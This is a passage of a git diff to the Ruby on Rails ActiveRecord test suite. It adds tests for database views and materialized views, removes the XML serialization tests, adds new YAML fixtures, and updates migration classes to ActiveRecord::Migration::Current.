IncorporealModel.validates_acceptance_of(:incorporeal_column) end end @@ -161,4 +168,15 @@ class ValidationsTest < ActiveRecord::TestCase ensure Topic.reset_column_information end + + def test_acceptance_validator_doesnt_require_db_connection + klass = Class.new(ActiveRecord::Base) do + self.table_name = 'posts' + end + klass.reset_column_information + + assert_no_queries do + klass.validates_acceptance_of(:foo) + end + end end diff --git a/activerecord/test/cases/view_test.rb b/activerecord/test/cases/view_test.rb index 3aed90ba36..f3c2d2f30e 100644 --- a/activerecord/test/cases/view_test.rb +++ b/activerecord/test/cases/view_test.rb @@ -1,7 +1,9 @@ require "cases/helper" require "models/book" +require "support/schema_dumping_helper" module ViewBehavior + include SchemaDumpingHelper extend ActiveSupport::Concern included do @@ -31,9 +33,24 @@ module ViewBehavior assert_equal ["Ruby for Rails"], books.map(&:name) end + def test_views + assert_equal [Ebook.table_name], @connection.views + end + + def test_view_exists + view_name = Ebook.table_name + assert @connection.view_exists?(view_name), "'#{view_name}' view should exist" + end + def test_table_exists view_name = Ebook.table_name - assert @connection.table_exists?(view_name), "'#{view_name}' table should exist" + # TODO: switch this assertion around once we changed #tables to not return views. + ActiveSupport::Deprecation.silence { assert @connection.table_exists?(view_name), "'#{view_name}' table should exist" } + end + + def test_views_ara_valid_data_sources + view_name = Ebook.table_name + assert @connection.data_source_exists?(view_name), "'#{view_name}' should be a data source" end def test_column_definitions @@ -53,6 +70,11 @@ module ViewBehavior end assert_nil model.primary_key end + + def test_does_not_dump_view_as_table + schema = dump_table_schema "ebooks" + assert_no_match %r{create_table "ebooks"}, schema + end end if ActiveRecord::Base.connection.supports_views? @@ -65,11 +87,12 @@ class ViewWithPrimaryKeyTest < ActiveRecord::TestCase end def drop_view(name) - @connection.execute "DROP VIEW #{name}" if @connection.table_exists? name + @connection.execute "DROP VIEW #{name}" if @connection.view_exists? name end end class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase + include SchemaDumpingHelper fixtures :books class Paperback < ActiveRecord::Base; end @@ -83,7 +106,7 @@ class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase end teardown do - @connection.execute "DROP VIEW paperbacks" if @connection.table_exists? "paperbacks" + @connection.execute "DROP VIEW paperbacks" if @connection.view_exists? "paperbacks" end def test_reading @@ -91,9 +114,19 @@ class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase assert_equal ["Agile Web Development with Rails"], books.map(&:name) end + def test_views + assert_equal [Paperback.table_name], @connection.views + end + + def test_view_exists + view_name = Paperback.table_name + assert @connection.view_exists?(view_name), "'#{view_name}' view should exist" + end + def test_table_exists view_name = Paperback.table_name - assert @connection.table_exists?(view_name), "'#{view_name}' table should exist" + # TODO: switch this assertion around once we changed #tables to not return views. + ActiveSupport::Deprecation.silence { assert @connection.table_exists?(view_name), "'#{view_name}' table should exist" } end def test_column_definitions @@ -102,12 +135,82 @@ class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase end def test_attributes - assert_equal({"name" => "Agile Web Development with Rails", "status" => 0}, + assert_equal({"name" => "Agile Web Development with Rails", "status" => 2}, Paperback.first.attributes) end def test_does_not_have_a_primary_key assert_nil Paperback.primary_key end + + def test_does_not_dump_view_as_table + schema = dump_table_schema "paperbacks" + assert_no_match %r{create_table "paperbacks"}, schema + end +end + +# sqlite dose not support CREATE, INSERT, and DELETE for VIEW +if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter) +class UpdateableViewTest < ActiveRecord::TestCase + self.use_transactional_tests = false + fixtures :books + + class PrintedBook < ActiveRecord::Base + self.primary_key = "id" + end + + setup do + @connection = ActiveRecord::Base.connection + @connection.execute <<-SQL + CREATE VIEW printed_books + AS SELECT id, name, status, format FROM books WHERE format = 'paperback' + SQL + end + + teardown do + @connection.execute "DROP VIEW printed_books" if @connection.view_exists? "printed_books" + end + + def test_update_record + book = PrintedBook.first + book.name = "AWDwR" + book.save! + book.reload + assert_equal "AWDwR", book.name + end + + def test_insert_record + PrintedBook.create! name: "Rails in Action", status: 0, format: "paperback" + + new_book = PrintedBook.last + assert_equal "Rails in Action", new_book.name + end + + def test_update_record_to_fail_view_conditions + book = PrintedBook.first + book.format = "ebook" + book.save! + + assert_raises ActiveRecord::RecordNotFound do + book.reload + end + end +end +end # end fo `if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter)` +end # end fo `if ActiveRecord::Base.connection.supports_views?` + +if ActiveRecord::Base.connection.respond_to?(:supports_materialized_views?) && + ActiveRecord::Base.connection.supports_materialized_views? +class MaterializedViewTest < ActiveRecord::PostgreSQLTestCase + include ViewBehavior + + private + def create_view(name, query) + @connection.execute "CREATE MATERIALIZED VIEW #{name} AS #{query}" + end + + def drop_view(name) + @connection.execute "DROP MATERIALIZED VIEW #{name}" if @connection.view_exists? name + end end end diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb deleted file mode 100644 index b30b50f597..0000000000 --- a/activerecord/test/cases/xml_serialization_test.rb +++ /dev/null @@ -1,447 +0,0 @@ -require "cases/helper" -require "rexml/document" -require 'models/contact' -require 'models/post' -require 'models/author' -require 'models/comment' -require 'models/company_in_module' -require 'models/toy' -require 'models/topic' -require 'models/reply' -require 'models/company' - -class XmlSerializationTest < ActiveRecord::TestCase - def test_should_serialize_default_root - @xml = Contact.new.to_xml - assert_match %r{^<contact>}, @xml - assert_match %r{</contact>$}, @xml - end - - def test_should_serialize_default_root_with_namespace - @xml = Contact.new.to_xml :namespace=>"http://xml.rubyonrails.org/contact" - assert_match %r{^<contact xmlns="http://xml\.rubyonrails\.org/contact">}, @xml - assert_match %r{</contact>$}, @xml - end - - def test_should_serialize_custom_root - @xml = Contact.new.to_xml :root => 'xml_contact' - assert_match %r{^<xml-contact>}, @xml - assert_match %r{</xml-contact>$}, @xml - end - - def test_should_allow_undasherized_tags - @xml = Contact.new.to_xml :root => 'xml_contact', :dasherize => false - assert_match %r{^<xml_contact>}, @xml - assert_match %r{</xml_contact>$}, @xml - assert_match %r{<created_at}, @xml - end - - def test_should_allow_camelized_tags - @xml = Contact.new.to_xml :root => 'xml_contact', :camelize => true - assert_match %r{^<XmlContact>}, @xml - assert_match %r{</XmlContact>$}, @xml - assert_match %r{<CreatedAt}, @xml - end - - def test_should_allow_skipped_types - @xml = Contact.new(:age => 25).to_xml :skip_types => true - assert %r{<age>25</age>}.match(@xml) - end - - def test_should_include_yielded_additions - @xml = Contact.new.to_xml do |xml| - xml.creator "David" - end - assert_match %r{<creator>David</creator>}, @xml - end - - def test_to_xml_with_block - value = "Rockin' the block" - xml = Contact.new.to_xml(:skip_instruct => true) do |_xml| - _xml.tag! "arbitrary-element", value - end - assert_equal "<contact>", xml.first(9) - assert xml.include?(%(<arbitrary-element>#{value}</arbitrary-element>)) - end - - def test_should_skip_instruct_for_included_records - @contact = Contact.new - @contact.alternative = Contact.new(:name => 'Copa Cabana') - @xml = @contact.to_xml(:include => [ :alternative ]) - assert_equal @xml.index('<?xml '), 0 - assert_nil @xml.index('<?xml ', 1) - end -end - -class DefaultXmlSerializationTest < ActiveRecord::TestCase - def setup - @contact = Contact.new( - :name => 'aaron stack', - :age => 25, - :avatar => 'binarydata', - :created_at => Time.utc(2006, 8, 1), - :awesome => false, - :preferences => { :gem => 'ruby' } - ) - end - - def test_should_serialize_string - assert_match %r{<name>aaron stack</name>}, @contact.to_xml - end - - def test_should_serialize_integer - assert_match %r{<age type="integer">25</age>}, @contact.to_xml - end - - def test_should_serialize_binary - xml = @contact.to_xml - assert_match %r{YmluYXJ5ZGF0YQ==\n</avatar>}, xml - assert_match %r{<avatar(.*)(type="binary")}, xml - assert_match %r{<avatar(.*)(encoding="base64")}, xml - end - - def test_should_serialize_datetime - assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml - end - - def test_should_serialize_boolean - assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml - end - - def test_should_serialize_hash - assert_match %r{<preferences>\s*<gem>ruby</gem>\s*</preferences>}m, @contact.to_xml - end - - def test_uses_serializable_hash_with_only_option - def @contact.serializable_hash(options=nil) - super(only: %w(name)) - end - - xml = @contact.to_xml - assert_match %r{<name>aaron stack</name>}, xml - assert_no_match %r{age}, xml - assert_no_match %r{awesome}, xml - end - - def test_uses_serializable_hash_with_except_option - def @contact.serializable_hash(options=nil) - super(except: %w(age)) - end - - xml = @contact.to_xml - assert_match %r{<name>aaron stack</name>}, xml - assert_match %r{<awesome type=\"boolean\">false</awesome>}, xml - assert_no_match %r{age}, xml - end - - def test_does_not_include_inheritance_column_from_sti - @contact = ContactSti.new(@contact.attributes) - assert_equal 'ContactSti', @contact.type - - xml = @contact.to_xml - assert_match %r{<name>aaron stack</name>}, xml - assert_no_match %r{<type}, xml - assert_no_match %r{ContactSti}, xml - end - - def test_serializable_hash_with_default_except_option_and_excluding_inheritance_column_from_sti - @contact = ContactSti.new(@contact.attributes) - assert_equal 'ContactSti', @contact.type - - def @contact.serializable_hash(options={}) - super({ except: %w(age) }.merge!(options)) - end - - xml = @contact.to_xml - assert_match %r{<name>aaron stack</name>}, xml - assert_no_match %r{age}, xml - assert_no_match %r{<type}, xml - assert_no_match %r{ContactSti}, xml - end -end - -class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase - def test_should_serialize_datetime_with_timezone - with_timezone_config zone: "Pacific Time (US & Canada)" do - toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1)) - assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml - end - end - - def test_should_serialize_datetime_with_timezone_reloaded - with_timezone_config zone: "Pacific Time (US & Canada)" do - toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload - assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml - end - end -end - -class NilXmlSerializationTest < ActiveRecord::TestCase - def setup - @xml = Contact.new.to_xml(:root => 'xml_contact') - end - - def test_should_serialize_string - assert_match %r{<name nil="true"/>}, @xml - end - - def test_should_serialize_integer - assert %r{<age (.*)/>}.match(@xml) - attributes = $1 - assert_match %r{nil="true"}, attributes - assert_match %r{type="integer"}, attributes - end - - def test_should_serialize_binary - assert %r{<avatar (.*)/>}.match(@xml) - attributes = $1 - assert_match %r{type="binary"}, attributes - assert_match %r{encoding="base64"}, attributes - assert_match %r{nil="true"}, attributes - end - - def test_should_serialize_datetime - assert %r{<created-at (.*)/>}.match(@xml) - attributes = $1 - assert_match %r{nil="true"}, attributes - assert_match %r{type="dateTime"}, attributes - end - - def test_should_serialize_boolean - assert %r{<awesome (.*)/>}.match(@xml) - attributes = $1 - assert_match %r{type="boolean"}, attributes - assert_match %r{nil="true"}, attributes - end - - def test_should_serialize_yaml - assert_match %r{<preferences nil=\"true\"/>}, @xml - end -end - -class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase - fixtures :topics, :companies, :accounts, :authors, :posts, :projects - - def test_to_xml - xml = REXML::Document.new(topics(:first).to_xml(:indent => 0)) - bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema - written_on_in_current_timezone = topics(:first).written_on.xmlschema - - assert_equal "topic", xml.root.name - assert_equal "The First Topic" , xml.elements["//title"].text - assert_equal "David" , xml.elements["//author-name"].text - assert_match "Have a nice day", xml.elements["//content"].text - - assert_equal "1", xml.elements["//id"].text - assert_equal "integer" , xml.elements["//id"].attributes['type'] - - assert_equal "1", xml.elements["//replies-count"].text - assert_equal "integer" , xml.elements["//replies-count"].attributes['type'] - - assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text - assert_equal "dateTime" , xml.elements["//written-on"].attributes['type'] - - assert_equal "david@loudthinking.com", xml.elements["//author-email-address"].text - - assert_equal nil, xml.elements["//parent-id"].text - assert_equal "integer", xml.elements["//parent-id"].attributes['type'] - assert_equal "true", xml.elements["//parent-id"].attributes['nil'] - - # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb) - assert_equal "2004-04-15", xml.elements["//last-read"].text - assert_equal "date" , xml.elements["//last-read"].attributes['type'] - - # Oracle and DB2 don't have true boolean or time-only fields - unless current_adapter?(:OracleAdapter, :DB2Adapter) - assert_equal "false", xml.elements["//approved"].text - assert_equal "boolean" , xml.elements["//approved"].attributes['type'] - - assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text - assert_equal "dateTime" , xml.elements["//bonus-time"].attributes['type'] - end - end - - def test_except_option - xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :replies_count]) - assert_equal "<topic>", xml.first(7) - assert !xml.include?(%(<title>The First Topic</title>)) - assert xml.include?(%(<author-name>David</author-name>)) - - xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :author_name, :replies_count]) - assert !xml.include?(%(<title>The First Topic</title>)) - assert !xml.include?(%(<author-name>David</author-name>)) - end - - # to_xml used to mess with the hash the user provided which - # caused the builder to be reused. This meant the document kept - # getting appended to. - - def test_modules - projects = MyApplication::Business::Project.all - xml = projects.to_xml - root = projects.first.class.to_s.underscore.pluralize.tr('/','_').dasherize - assert_match "<#{root} type=\"array\">", xml - assert_match "</#{root}>", xml - end - - def test_passing_hash_shouldnt_reuse_builder - options = {:include=>:posts} - david = authors(:david) - first_xml_size = david.to_xml(options).size - second_xml_size = david.to_xml(options).size - assert_equal first_xml_size, second_xml_size - end - - def test_include_uses_association_name - xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0 - assert_match %r{<hello-posts type="array">}, xml - assert_match %r{<hello-post type="Post">}, xml - assert_match %r{<hello-post type="StiPost">}, xml - end - - def test_included_associations_should_skip_types - xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0, :skip_types => true - assert_match %r{<hello-posts>}, xml - assert_match %r{<hello-post>}, xml - assert_match %r{<hello-post>}, xml - end - - def test_including_has_many_association - xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :include => :replies, :except => :replies_count) - assert_equal "<topic>", xml.first(7) - assert xml.include?(%(<replies type="array"><reply>)) - assert xml.include?(%(<title>The Second Topic of the day</title>)) - end - - def test_including_belongs_to_association - xml = companies(:first_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm) - assert !xml.include?("<firm>") - - xml = companies(:second_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm) - assert xml.include?("<firm>") - end - - def test_including_multiple_associations - xml = companies(:first_firm).to_xml(:indent => 0, :skip_instruct => true, :include => [ :clients, :account ]) - assert_equal "<firm>", xml.first(6) - assert xml.include?(%(<account>)) - assert xml.include?(%(<clients type="array"><client>)) - end - - def test_including_association_with_options - xml = companies(:first_firm).to_xml( - :indent => 0, :skip_instruct => true, - :include => { :clients => { :only => :name } } - ) - - assert_equal "<firm>", xml.first(6) - assert xml.include?(%(<client><name>Summit</name></client>)) - assert xml.include?(%(<clients type="array"><client>)) - end - - def test_methods_are_called_on_object - xml = authors(:david).to_xml :methods => :label, :indent => 0 - assert_match %r{<label>.*</label>}, xml - end - - def test_should_not_call_methods_on_associations_that_dont_respond - xml = authors(:david).to_xml :include=>:hello_posts, :methods => :label, :indent => 2 - assert !authors(:david).hello_posts.first.respond_to?(:label) - assert_match %r{^ <label>.*</label>}, xml - assert_no_match %r{^ <label>}, xml - end - - def test_procs_are_called_on_object - proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') } - xml = authors(:david).to_xml(:procs => [ proc ]) - assert_match %r{<nationality>Danish</nationality>}, xml - end - - def test_dual_arity_procs_are_called_on_object - proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) } - xml = authors(:david).to_xml(:procs => [ proc ]) - assert_match %r{<name-reverse>divaD</name-reverse>}, xml - end - - def test_top_level_procs_arent_applied_to_associations - author_proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') } - xml = authors(:david).to_xml(:procs => [ author_proc ], :include => :posts, :indent => 2) - - assert_match %r{^ <nationality>Danish</nationality>}, xml - assert_no_match %r{^ {6}<nationality>Danish</nationality>}, xml - end - - def test_procs_on_included_associations_are_called - posts_proc = Proc.new { |options| options[:builder].tag!('copyright', 'DHH') } - xml = authors(:david).to_xml( - :indent => 2, - :include => { - :posts => { :procs => [ posts_proc ] } - } - ) - - assert_no_match %r{^ <copyright>DHH</copyright>}, xml - assert_match %r{^ {6}<copyright>DHH</copyright>}, xml - end - - def test_should_include_empty_has_many_as_empty_array - authors(:david).posts.delete_all - xml = authors(:david).to_xml :include=>:posts, :indent => 2 - - assert_equal [], Hash.from_xml(xml)['author']['posts'] - assert_match %r{^ <posts type="array"/>}, xml - end - - def test_should_has_many_array_elements_should_include_type_when_different_from_guessed_value - xml = authors(:david).to_xml :include=>:posts_with_comments, :indent => 2 - - assert Hash.from_xml(xml) - assert_match %r{^ <posts-with-comments type="array">}, xml - assert_match %r{^ <posts-with-comment type="Post">}, xml - assert_match %r{^ <posts-with-comment type="StiPost">}, xml - - types = Hash.from_xml(xml)['author']['posts_with_comments'].collect {|t| t['type'] } - assert types.include?('SpecialPost') - assert types.include?('Post') - assert types.include?('StiPost') - end - - def test_should_produce_xml_for_methods_returning_array - xml = authors(:david).to_xml(:methods => :social) - array = Hash.from_xml(xml)['author']['social'] - assert_equal 2, array.size - assert array.include? 'twitter' - assert array.include? 'github' - end - - def test_should_support_aliased_attributes - xml = Author.select("name as firstname").to_xml - Author.all.each do |author| - assert xml.include?(%(<firstname>#{author.name}</firstname>)), xml - end - end - - def test_array_to_xml_including_has_many_association - xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :include => :replies) - assert xml.include?(%(<replies type="array"><reply>)) - end - - def test_array_to_xml_including_methods - xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :methods => [ :topic_id ]) - assert xml.include?(%(<topic-id type="integer">#{topics(:first).topic_id}</topic-id>)), xml - assert xml.include?(%(<topic-id type="integer">#{topics(:second).topic_id}</topic-id>)), xml - end - - def test_array_to_xml_including_has_one_association - xml = [ companies(:first_firm), companies(:rails_core) ].to_xml(:indent => 0, :skip_instruct => true, :include => :account) - assert xml.include?(companies(:first_firm).account.to_xml(:indent => 0, :skip_instruct => true)) - assert xml.include?(companies(:rails_core).account.to_xml(:indent => 0, :skip_instruct => true)) - end - - def test_array_to_xml_including_belongs_to_association - xml = [ companies(:first_client), companies(:second_client), companies(:another_client) ].to_xml(:indent => 0, :skip_instruct => true, :include => :firm) - assert xml.include?(companies(:first_client).to_xml(:indent => 0, :skip_instruct => true)) - assert xml.include?(companies(:second_client).firm.to_xml(:indent => 0, :skip_instruct => true)) - assert xml.include?(companies(:another_client).firm.to_xml(:indent => 0, :skip_instruct => true)) - end -end diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml index e3b55d640e..58e2d45748 100644 --- a/activerecord/test/config.example.yml +++ b/activerecord/test/config.example.yml @@ -51,15 +51,6 @@ connections: password: arunit database: arunit2 - mysql: - arunit: - username: rails - encoding: utf8 - collation: utf8_unicode_ci - arunit2: - username: rails - encoding: utf8 - mysql2: arunit: username: rails diff --git a/activerecord/test/fixtures/author_addresses.yml b/activerecord/test/fixtures/author_addresses.yml index 7b90572187..cf75e5998d 100644 --- a/activerecord/test/fixtures/author_addresses.yml +++ b/activerecord/test/fixtures/author_addresses.yml @@ -3,3 +3,9 @@ david_address: david_address_extra: id: 2 + +mary_address: + id: 3 + +bob_address: + id: 4 diff --git a/activerecord/test/fixtures/authors.yml b/activerecord/test/fixtures/authors.yml index 832236a486..41c124179e 100644 --- a/activerecord/test/fixtures/authors.yml +++ b/activerecord/test/fixtures/authors.yml @@ -9,7 +9,9 @@ david: mary: id: 2 name: Mary + author_address_id: 3 bob: id: 3 name: Bob + author_address_id: 4 diff --git a/activerecord/test/fixtures/bad_posts.yml b/activerecord/test/fixtures/bad_posts.yml new file mode 100644 index 0000000000..addee8e3bf --- /dev/null +++ b/activerecord/test/fixtures/bad_posts.yml @@ -0,0 +1,9 @@ +# Please do not use this fixture without `set_fixture_class` as Post + +_fixture: + model_class: BadPostModel + +bad_welcome: + author_id: 1 + title: Welcome to the another weblog + body: It's really nice today diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml index abe56752c6..a304fba399 100644 --- a/activerecord/test/fixtures/books.yml +++ b/activerecord/test/fixtures/books.yml @@ -3,9 +3,29 @@ awdr: id: 1 name: "Agile Web Development with Rails" format: "paperback" + status: :published + read_status: :read + language: :english + author_visibility: :visible + illustrator_visibility: :visible + font_size: :medium rfr: author_id: 1 id: 2 name: "Ruby for Rails" format: "ebook" + status: "proposed" + read_status: "reading" + +ddd: + author_id: 1 + id: 3 + name: "Domain-Driven Design" + format: "hardcover" + status: 2 + +tlg: + author_id: 1 + id: 4 + name: "Thoughtleadering" diff --git a/activerecord/test/fixtures/content.yml b/activerecord/test/fixtures/content.yml new file mode 100644 index 0000000000..0d12ee03dc --- /dev/null +++ b/activerecord/test/fixtures/content.yml @@ -0,0 +1,3 @@ +content: + id: 1 + title: How to use Rails diff --git a/activerecord/test/fixtures/content_positions.yml b/activerecord/test/fixtures/content_positions.yml new file mode 100644 index 0000000000..9e85773f8e --- /dev/null +++ b/activerecord/test/fixtures/content_positions.yml @@ -0,0 +1,3 @@ +content_positions: + id: 1 + content_id: 1 diff --git a/activerecord/test/fixtures/doubloons.yml b/activerecord/test/fixtures/doubloons.yml new file mode 100644 index 0000000000..efd1643971 --- /dev/null +++ b/activerecord/test/fixtures/doubloons.yml @@ -0,0 +1,3 @@ +blackbeards_doubloon: + pirate: blackbeard + weight: 2 diff --git a/activerecord/test/fixtures/naked/yml/parrots.yml b/activerecord/test/fixtures/naked/yml/parrots.yml new file mode 100644 index 0000000000..3e10331105 --- /dev/null +++ b/activerecord/test/fixtures/naked/yml/parrots.yml @@ -0,0 +1,2 @@ +george: + arrr: "Curious George" diff --git a/activerecord/test/fixtures/naked/yml/trees.yml b/activerecord/test/fixtures/naked/yml/trees.yml new file mode 100644 index 0000000000..d163b98f21 --- /dev/null +++ b/activerecord/test/fixtures/naked/yml/trees.yml @@ -0,0 +1,3 @@ +root: + :id: 1 + :name: The Root diff --git a/activerecord/test/fixtures/nodes.yml b/activerecord/test/fixtures/nodes.yml new file mode 100644 index 0000000000..b8bb8216ee --- /dev/null +++ b/activerecord/test/fixtures/nodes.yml @@ -0,0 +1,29 @@ +grandparent: + id: 1 + tree_id: 1 + name: Grand Parent + +parent_a: + id: 2 + tree_id: 1 + parent_id: 1 + name: Parent A + +parent_b: + id: 3 + tree_id: 1 + parent_id: 1 + name: Parent B + +child_one_of_a: + id: 4 + tree_id: 1 + parent_id: 2 + name: Child one + +child_two_of_b: + id: 5 + tree_id: 1 + parent_id: 2 + name: Child two + diff --git a/activerecord/test/fixtures/other_comments.yml b/activerecord/test/fixtures/other_comments.yml new file mode 100644 index 0000000000..55e8216ec7 --- /dev/null +++ b/activerecord/test/fixtures/other_comments.yml @@ -0,0 +1,6 @@ +_fixture: + model_class: Comment + +second_greetings: + post: second_welcome + body: Thank you for the second welcome diff --git a/activerecord/test/fixtures/other_posts.yml b/activerecord/test/fixtures/other_posts.yml new file mode 100644 index 0000000000..39ff763547 --- /dev/null +++ b/activerecord/test/fixtures/other_posts.yml @@ -0,0 +1,7 @@ +_fixture: + model_class: Post + +second_welcome: + author_id: 1 + title: Welcome to the another weblog + body: It's really nice today diff --git a/activerecord/test/fixtures/price_estimates.yml b/activerecord/test/fixtures/price_estimates.yml index 1149ab17a2..406d65a142 100644 --- a/activerecord/test/fixtures/price_estimates.yml +++ b/activerecord/test/fixtures/price_estimates.yml @@ -1,7 +1,16 @@ -saphire_1: +sapphire_1: price: 10 estimate_of: sapphire (Treasure) sapphire_2: price: 20 estimate_of: sapphire (Treasure) + +diamond: + price: 30 + estimate_of: diamond (Treasure) + +honda: + price: 40 + estimate_of_type: Car + estimate_of_id: 1 diff --git a/activerecord/test/fixtures/trees.yml b/activerecord/test/fixtures/trees.yml new file mode 100644 index 0000000000..9e030b7632 --- /dev/null +++ b/activerecord/test/fixtures/trees.yml @@ -0,0 +1,3 @@ +root: + id: 1 + name: The Root diff --git a/activerecord/test/migrations/10_urban/9_add_expressions.rb b/activerecord/test/migrations/10_urban/9_add_expressions.rb index 79a342e574..e908c9eabc 100644 --- a/activerecord/test/migrations/10_urban/9_add_expressions.rb +++ b/activerecord/test/migrations/10_urban/9_add_expressions.rb @@ -1,4 +1,4 @@ -class AddExpressions < ActiveRecord::Migration +class AddExpressions < ActiveRecord::Migration::Current def self.up create_table("expressions") do |t| t.column :expression, :string diff --git a/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb index 0aed7cbd84..549647de86 100644 --- a/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb +++ b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb @@ -1,4 +1,4 @@ -class GiveMeBigNumbers < ActiveRecord::Migration +class GiveMeBigNumbers < ActiveRecord::Migration::Current def self.up create_table :big_numbers do |table| table.column :bank_balance, :decimal, :precision => 10, :scale => 2 diff --git a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb index c066c068c2..53b263bf55 100644 --- a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb +++ b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb @@ -1,6 +1,6 @@ # coding: ISO-8859-15 -class CurrenciesHaveSymbols < ActiveRecord::Migration +class CurrenciesHaveSymbols < ActiveRecord::Migration::Current def self.up # We use ¤ for default currency symbol add_column "currencies", "symbol", :string, :default => "¤" diff --git a/activerecord/test/migrations/missing/1000_people_have_middle_names.rb b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb index 4b83d61beb..e046944e31 100644 --- a/activerecord/test/migrations/missing/1000_people_have_middle_names.rb +++ b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb @@ -1,4 +1,4 @@ -class PeopleHaveMiddleNames < ActiveRecord::Migration +class PeopleHaveMiddleNames < ActiveRecord::Migration::Current def self.up add_column "people", "middle_name", :string end diff --git a/activerecord/test/migrations/missing/1_people_have_last_names.rb b/activerecord/test/migrations/missing/1_people_have_last_names.rb index 68209f3ce9..50fe2a9c8e 100644 --- a/activerecord/test/migrations/missing/1_people_have_last_names.rb +++ b/activerecord/test/migrations/missing/1_people_have_last_names.rb @@ -1,4 +1,4 @@ -class PeopleHaveLastNames < ActiveRecord::Migration +class PeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "last_name", :string end diff --git a/activerecord/test/migrations/missing/3_we_need_reminders.rb b/activerecord/test/migrations/missing/3_we_need_reminders.rb index 25bb49cb32..d7c63ac892 100644 --- a/activerecord/test/migrations/missing/3_we_need_reminders.rb +++ b/activerecord/test/migrations/missing/3_we_need_reminders.rb @@ -1,4 +1,4 @@ -class WeNeedReminders < ActiveRecord::Migration +class WeNeedReminders < ActiveRecord::Migration::Current def self.up create_table("reminders") do |t| t.column :content, :text diff --git a/activerecord/test/migrations/missing/4_innocent_jointable.rb b/activerecord/test/migrations/missing/4_innocent_jointable.rb index 002a1bf2a6..20fe183777 100644 --- a/activerecord/test/migrations/missing/4_innocent_jointable.rb +++ b/activerecord/test/migrations/missing/4_innocent_jointable.rb @@ -1,4 +1,4 @@ -class InnocentJointable < ActiveRecord::Migration +class InnocentJointable < ActiveRecord::Migration::Current def self.up create_table("people_reminders", :id => false) do |t| t.column :reminder_id, :integer diff --git a/activerecord/test/migrations/rename/1_we_need_things.rb b/activerecord/test/migrations/rename/1_we_need_things.rb index f5484ac54f..9dce01acfd 100644 --- a/activerecord/test/migrations/rename/1_we_need_things.rb +++ b/activerecord/test/migrations/rename/1_we_need_things.rb @@ -1,4 +1,4 @@ -class WeNeedThings < ActiveRecord::Migration +class WeNeedThings < ActiveRecord::Migration::Current def self.up create_table("things") do |t| t.column :content, :text diff --git a/activerecord/test/migrations/rename/2_rename_things.rb b/activerecord/test/migrations/rename/2_rename_things.rb index 533a113ea8..cb8484e7dc 100644 --- a/activerecord/test/migrations/rename/2_rename_things.rb +++ b/activerecord/test/migrations/rename/2_rename_things.rb @@ -1,4 +1,4 @@ -class RenameThings < ActiveRecord::Migration +class RenameThings < ActiveRecord::Migration::Current def self.up rename_table "things", "awesome_things" end diff --git a/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb index 639841f663..607113b091 100644 --- a/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb +++ b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb @@ -1,4 +1,4 @@ -class PeopleHaveLastNames < ActiveRecord::Migration +class PeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "hobbies", :text end diff --git a/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb index b3d0b30640..d4cbddab50 100644 --- a/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb +++ b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb @@ -1,4 +1,4 @@ -class PeopleHaveLastNames < ActiveRecord::Migration +class PeopleHaveLastNames < ActiveRecord::Migration::Current def self.up add_column "people", "description", :text end diff --git a/activerecord/test/migrations/to_copy2/1_create_articles.rb b/activerecord/test/migrations/to_copy2/1_create_articles.rb index 0f048d90f7..2e9f5ec6bc 100644 --- a/activerecord/test/migrations/to_copy2/1_create_articles.rb +++ b/activerecord/test/migrations/to_copy2/1_create_articles.rb @@ -1,4 +1,4 @@ -class CreateArticles < ActiveRecord::Migration +class CreateArticles < 